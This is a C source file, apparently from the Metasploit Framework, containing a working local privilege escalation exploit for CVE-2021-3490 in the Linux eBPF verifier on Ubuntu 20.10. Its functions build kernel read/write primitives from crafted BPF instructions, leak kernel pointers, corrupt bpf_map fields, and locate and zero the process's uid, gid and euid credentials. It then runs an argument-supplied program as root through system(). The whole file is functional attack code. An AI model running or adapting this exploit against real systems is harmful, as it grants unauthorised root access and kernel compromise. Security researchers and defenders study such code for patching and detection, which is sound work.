rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/exploit.c

Summary

Maintainability
Test Coverage
/**
    LPE exploit for CVE-2021-3490, targeting Ubuntu 20.10 (groovy) kernels up to and including 5.8-45.
    The vulnerability was discovered by Manfred Paul @_manfp and fixed in commit
    https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e

    author: @chompie1337

    For educational/research purposes only. Use at your own risk.
*/

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>

#include "bpf_defs.h"
#include "kernel_defs.h"
#include "kmem_search.h"
#include "exploit_configs.h"


int kernel_read_uint(exploit_context* pCtx, uint64_t addr, uint32_t* puiData)
{
    int ret = -1;
    char vals[ARRAY_MAP_SIZE] = {0};
    uint64_t btf_addr = addr - BTF_ID_OFFSET;
    struct bpf_map_info_kernel info = {0};
    union bpf_attr attrs =
    {
        .info.bpf_fd = pCtx->oob_map_fd,
        .info.info = (long long unsigned int)&info,
        .info.info_len = sizeof(info)
    };
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        exploit_primitive_pt2,
        // exploit reg value is BPF_MAP_BTF_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_BTF_OFFSET),
        // subtract BPF_MAP_BTF_OFFSET from oob map value pointer so it points to
        // bpf_map->btf
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // load the leak address from store map
        BPF_LDX_MEM(BPF_DW, LEAK_VAL_REG, STORE_MAP_REG, 8),
        // set bpf_map->btf = leak address. using BPF syscall with command
        // BPF_OBJ_GET_INFO_BY_FD will return the value of bpf_map->btf->id
        BPF_STX_MEM(BPF_DW, OOB_MAP_REG, LEAK_VAL_REG, 0),
        BPF_EXIT_INSN()
    };

    memcpy(&vals[sizeof(uint64_t)], &btf_addr, sizeof(uint64_t));

    if(0 != update_map_element(pCtx->store_map_fd, 0, vals, BPF_ANY))
    {
        printf("[-] failed to update map element values!\n");
        goto done;
    }

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), &pCtx->prog_fd))
    {
        printf("[-] failed to run eBPF program!\n");
        goto done;
    }

    if(0 != obj_get_info_by_fd(&attrs))
    {
        printf("[-] failed to leak memory with BPF_OBJ_GET_INFO_BY_FD \n");
        goto done;
    }

    *puiData = info.btf_id;
    ret = 0;

done:
    return ret;
}

int kernel_read(exploit_context* pCtx, uint64_t addr, char* buffer, uint32_t len)
{
    int ret = -1;

    for(uint32_t i = 0; i < len; i += sizeof(uint32_t))
    {
        uint32_t val = 0;

        if(0 != kernel_read_uint(pCtx, addr + i, &val))
        {
            goto done;
        }

        *(uint32_t*)(buffer + i) = val;
    }

    ret = 0;

done:
    return ret;
}

int kernel_write_uint(exploit_context* pCtx, uint64_t addr, uint32_t val)
{
    int ret = -1;
    char vals[ARRAY_MAP_SIZE] = {0};

    // addr will be set to index(val) + 1 in array_map_get_next_key
    val -=1;

    memcpy(vals, &val, sizeof(uint32_t));

    if(0 != update_map_element(pCtx->oob_map_fd, 0, vals, addr))
    {
        printf("[-] kernel write failed!\n");
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int kernel_write(exploit_context* pCtx, uint64_t addr, char* buffer, uint32_t len)
{
    int ret = -1;

    for(uint32_t i = 0; i < len; i += sizeof(uint32_t))
    {
        addr += i;
        uint32_t val = *(uint32_t*)(buffer + i);

        if(0 != kernel_write_uint(pCtx, addr, val))
        {
            goto done;
        }
    }

    ret = 0;

done:
    return ret;
}

int create_bpf_maps(exploit_context* pCtx)
{
    int ret = -1;
    int oob_map_fd = -1;
    int store_map_fd = -1;
    char vals[ARRAY_MAP_SIZE] = {0};
    union bpf_attr map_attrs =
    {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = ARRAY_MAP_SIZE,
        .max_entries = 1,
    };

    oob_map_fd = create_map(&map_attrs);
    store_map_fd = create_map(&map_attrs);

    if((oob_map_fd < 0) || (store_map_fd) < 0)
    {
        printf("[-] failed to create bpf array map!\n");
        goto done;
    }

    if(0 != update_map_element(oob_map_fd, 0, vals, BPF_ANY))
    {
        printf("[-] failed to update map element values!\n");
        goto done;
    }

    if(0 != update_map_element(store_map_fd, 0, vals, BPF_ANY))
    {
        printf("[-] failed to update map element values!\n");
        goto done;
    }

    pCtx->oob_map_fd = oob_map_fd;
    pCtx->store_map_fd = store_map_fd;

    ret = 0;

done:
    return ret;
}

int leak_oob_map_ptr(exploit_context* pCtx)
{
    int ret = -1;
    char vals[ARRAY_MAP_SIZE] = {0};
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        // extend the exploit register's invalid bounds to 64 bits
        BPF_MOV32_REG(EXPLOIT_REG, EXPLOIT_REG), \
        // adding a register with invalid bounds to a pointer causes the verifier to
        // mark it as an unbounded value, so we are able to leak its value by saving it
        // in the store map
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG), \
        // put the value in leak value register
        BPF_MOV64_REG(LEAK_VAL_REG, OOB_MAP_REG), \
        // store the leaked BPF ptr into store map
        BPF_STX_MEM(BPF_DW, STORE_MAP_REG, LEAK_VAL_REG, 8), \
        BPF_EXIT_INSN()
    };

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
        goto done;
    }

    if(0 != lookup_map_element(pCtx->store_map_fd, 0, vals))
    {
        printf("[-] failed to retrieve storage map element!\n");
        goto done;
    }

    memcpy(&pCtx->oob_map_ptr, &vals[sizeof(uint64_t)], sizeof(uint64_t));

    if(!IS_KERNEL_POINTER(pCtx->oob_map_ptr))
    {
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int leak_array_map_ops(exploit_context* pCtx)
{
    int ret = -1;
    char vals[ARRAY_MAP_SIZE] = {0};
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        exploit_primitive_pt2,
        // exploit reg value is BPF_MAP_OPS_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_OPS_OFFSET),
        // subtract BPF_MAP_OPS_OFFSET from oob map value pointer, so it points
        // to bpf_map->ops
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // read the value of array_map_ops
        BPF_LDX_MEM(BPF_DW, LEAK_VAL_REG, OOB_MAP_REG, 0),
        // store the leaked array_map_ops ptr into store map
        BPF_STX_MEM(BPF_DW, STORE_MAP_REG, LEAK_VAL_REG, 8),
        BPF_EXIT_INSN()
    };

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
        goto done;
    }

    if(0 != lookup_map_element(pCtx->store_map_fd, 0, vals))
    {
        printf("[-] failed to retrieve storage map element!\n");
        goto done;
    }

    memcpy(&pCtx->array_map_ops, &vals[sizeof(uint64_t)], sizeof(uint64_t));

    if(!IS_KERNEL_POINTER(pCtx->array_map_ops))
    {
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int test_kernel_read(exploit_context* pCtx)
{
    int ret = -1;
    uint64_t kernel_addr = 0;

    pCtx->state = EXPLOIT_STATE_READ;

    if(0 != kernel_read(pCtx, pCtx->array_map_ops, (char*)&kernel_addr, sizeof(uint64_t)))
    {
        goto done;
    }

    if(!IS_KERNEL_POINTER(kernel_addr))
    {
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int prepare_kernel_write(exploit_context* pCtx)
{
    int ret = -1;
    char array_map_ops[ARRAY_MAP_SIZE] = {0};
    uint64_t array_map_get_next_key = 0;
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        exploit_primitive_pt2,
        // store copy of exploit register
        BPF_MOV64_REG(COPY_REG, EXPLOIT_REG),
        // load oob map values pointer in leak register
        BPF_LD_IMM64(LEAK_VAL_REG, pCtx->oob_map_ptr),
        // exploit reg value is BPF_MAP_OPS_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_OPS_OFFSET),
        // subtract BPF_MAP_OPS_OFFSET from oob map value pointer, so it points
        // to bpf_map->ops
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // overwrite bpf_map->ops to point to the first value in oob map, where we store
        // fake bpf_map_ops structure
        BPF_STX_MEM(BPF_DW,  OOB_MAP_REG, LEAK_VAL_REG, 0),
        // restore oob map value pointer
        BPF_ALU64_REG(BPF_ADD, OOB_MAP_REG, EXPLOIT_REG),
        // restore exploit reg
        BPF_MOV64_REG(EXPLOIT_REG, COPY_REG),
        // set constant register to 0
        BPF_MOV64_IMM(CONST_REG, 0x0),
        // exploit reg value is BPF_MAP_SPIN_LOCK_OFF_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_SPIN_LOCK_OFF_OFFSET),
        // subtract BPF_MAP_SPIN_LOCK_OFF_OFFSET from oob map value pointer, so it points
        // to bpf_map->spin_lock_off
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // set bpf_map->spin_lock_off = 0 to bypass checks
        BPF_STX_MEM(BPF_W, OOB_MAP_REG, CONST_REG, 0),
        // restore oob map value pointer
        BPF_ALU64_REG(BPF_ADD, OOB_MAP_REG, EXPLOIT_REG),
        // restore exploit reg
        BPF_MOV64_REG(EXPLOIT_REG, COPY_REG),
        // set constant register to 0xFFFFFFFF
        BPF_MOV64_IMM(CONST_REG, 0xFFFFFFFF),
        // exploit reg value is BPF_MAP_MAX_ENTRIES_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_MAX_ENTRIES_OFFSET),
        // subtract BPF_MAP_MAX_ENTRIES_OFFSET from oob map value pointer, so it points
        // to bpf_map->max_entries
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // set bpf_map->max_entries = 0xFFFFFFFF
        BPF_STX_MEM(BPF_W, OOB_MAP_REG, CONST_REG, 0),
        // restore oob map value pointer
        BPF_ALU64_REG(BPF_ADD, OOB_MAP_REG, EXPLOIT_REG),
        // restore exploit reg
        BPF_MOV64_REG(EXPLOIT_REG, COPY_REG),
        // set constant register to BPF_MAP_TYPE_STACK
        BPF_MOV64_IMM(CONST_REG, BPF_MAP_TYPE_STACK),
        // exploit reg value is BPF_MAP_TYPE_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_TYPE_OFFSET),
        // subtract BPF_MAP_TYPE_OFFSET from oob map value pointer, so it points
        // to bpf_map->map_type
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // set bpf_map->map_type = BPF_MAP_TYPE_STACK to be able to call map_push_elem
        BPF_STX_MEM(BPF_W, OOB_MAP_REG, CONST_REG, 0),
        BPF_EXIT_INSN()
    };

    if(0 != kernel_read(pCtx, pCtx->array_map_ops, array_map_ops, BPF_MAP_OPS_OFFSET))
    {
        goto done;
    }

    memcpy(&array_map_get_next_key, &array_map_ops[MAP_OPS_GET_NEXT_KEY_OFFSET], sizeof(uint64_t));

    if(!IS_KERNEL_POINTER(array_map_get_next_key))
    {
        goto done;
    }

    memcpy(&array_map_ops[MAP_OPS_PUSH_ELEM_OFFSET], &array_map_get_next_key, sizeof(uint64_t));

    if(0 != update_map_element(pCtx->oob_map_fd, 0, array_map_ops, BPF_ANY))
    {
        printf("[-] failed to update map element values!\n");
        goto done;
    }

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] failed to run eBPF program!\n");
        goto done;
    }

    pCtx->state = EXPLOIT_STATE_WRITE;

    ret = 0;

done:
    return ret;
}

int overwrite_cred(exploit_context* pCtx)
{
    int ret = -1;

    if(0 != kernel_write_uint(pCtx, pCtx->cred + CRED_UID_OFFSET, 0))
    {
        goto done;
    }

    if(0 != kernel_write_uint(pCtx, pCtx->cred + CRED_GID_OFFSET, 0))
    {
        goto done;
    }

    if(0 != kernel_write_uint(pCtx, pCtx->cred + CRED_EUID_OFFSET, 0))
    {
        goto done;
    }

    ret = 0;

done:
    return ret;
}

void cleanup_read(exploit_context* pCtx)
{
    struct bpf_insn insn[] =
    {
        exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
        exploit_primitive_pt2,
        // exploit reg value is BPF_MAP_BTF_OFFSET (verifier believes its 0)
        BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_BTF_OFFSET),
        // subtract BPF_MAP_BTF_OFFSET from oob map value pointer so it points to
        // bpf_map->btf
        BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
        // set constant register to 0
        BPF_MOV64_IMM(CONST_REG, 0x0),
        // overwrite the value of bpf_map->btf to 0
        BPF_STX_MEM(BPF_DW, OOB_MAP_REG, CONST_REG , 0),
        BPF_EXIT_INSN()
    };

    if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), NULL))
    {
        printf("[-] warning, failed to run cleanup read BPF program!\n");
    }

    pCtx->state = EXPLOIT_STATE_CLEAN;
}

void cleanup_write(exploit_context* pCtx)
{
    uint64_t null = 0;

    // restore bpf_map->btf = NULL
    if(0 != kernel_write(pCtx, pCtx->oob_map_ptr - BPF_MAP_BTF_OFFSET, (char*)&null, sizeof(uint64_t)))
    {
        printf("[-] warning, cleanup failed! this will cause instability...\n");
        goto done;
    }

    // restore bpf_map->map_type = BPF_MAP_TYPE_ARRAY
    if(0 != kernel_write_uint(pCtx, pCtx->oob_map_ptr - BPF_MAP_TYPE_OFFSET, BPF_MAP_TYPE_ARRAY))
    {
        printf("[-] warning, cleanup failed! this will cause instability...\n");
        goto done;
    }

    // We can't restore the rest of the values without breaking the write primitive, and we can't run another BPF program
    // because we overwrote spin_lock_off. However, this is enough to exit cleanly.

    pCtx->state = EXPLOIT_STATE_CLEAN;

done:
    return;
}

void cleanup(exploit_context* pCtx)
{
    switch(pCtx->state)
    {
        case EXPLOIT_STATE_READ:
            cleanup_read(pCtx);
            break;
        case EXPLOIT_STATE_WRITE:
            cleanup_write(pCtx);
            break;
        case EXPLOIT_STATE_CLEAN:
        default:
        break;
    }
}

int main(int argc, char **argv)
{
    if (argc < 2){
        printf("Useage: %s <path to program to execute as root>\r\n", argv[0]);
        exit(-1);
    }
    exploit_context ctx = {0};
    pid_t current_pid = getpid();

    if(0 != create_bpf_maps(&ctx))
    {
        printf("[-] failed to create bpf maps!\n");
        goto done;
    }

    printf("[+] eBPF enabled, maps created!\n");

    if(0 != leak_oob_map_ptr(&ctx))
    {
        printf("[-] failed to leak ptr to BPF map!\n");
        goto done;
    }

    printf("[+] addr of oob BPF array map: %lx\n", ctx.oob_map_ptr);

    if (0 != leak_array_map_ops(&ctx))
    {
        printf("[-] failed to leak address of array_map_ops!\n");
        goto done;
    }

    printf("[+] addr of array_map_ops: %lx\n", ctx.array_map_ops);

    if(0 != test_kernel_read(&ctx))
    {
        printf("[-] kernel read failed!\n");
        goto done;
    }

    printf("[+] kernel read successful!\n");
    printf("[!] searching for init_pid_ns in kstrtab ...\n");

    if(0 !=  search_init_pid_ns_kstrtab(&ctx))
    {
        printf("[-] failed to find init_pid_ns in kstrtab!\n");
        goto done;
    }

    printf("[+] addr of init_pid_ns in kstrtab: %lx\n", ctx.init_pid_ns_kstrtab);
    printf("[!] searching for init_pid_ns in ksymtab...\n");

    if(0 != search_init_pid_ns_ksymtab(&ctx))
    {
        printf("[-] failed to find init_pid_ns in ksymtab!\n");
        goto done;
    }

    printf("[+] addr of init_pid_ns %lx\n", ctx.init_pid_ns);
    printf("[!] searching for creds for pid: %0x\n", current_pid);

    if(0 != find_pid_cred(&ctx, current_pid))
    {
        printf("[-] failed to find addr of current creds!\n");
        goto done;
    }

    printf("[+] addr of cred structure: %lx\n", ctx.cred);

    if(0 != prepare_kernel_write(&ctx))
    {
        printf("[-] failed to set up maps for kernel write!\n");
        goto done;
    }

    printf("[!] preparing to overwrite creds...\n");

    if(0 != overwrite_cred(&ctx))
    {
        printf("[-] LPE failed :(\n");
        goto done;
    }

    printf("[+] success! enjoy r00t :)\n");
    char stringToExecute[9000];
    strcpy(stringToExecute, argv[1]);
    strcat(stringToExecute, " &");
    system(stringToExecute);

done:
    cleanup(&ctx);
    return 0;
}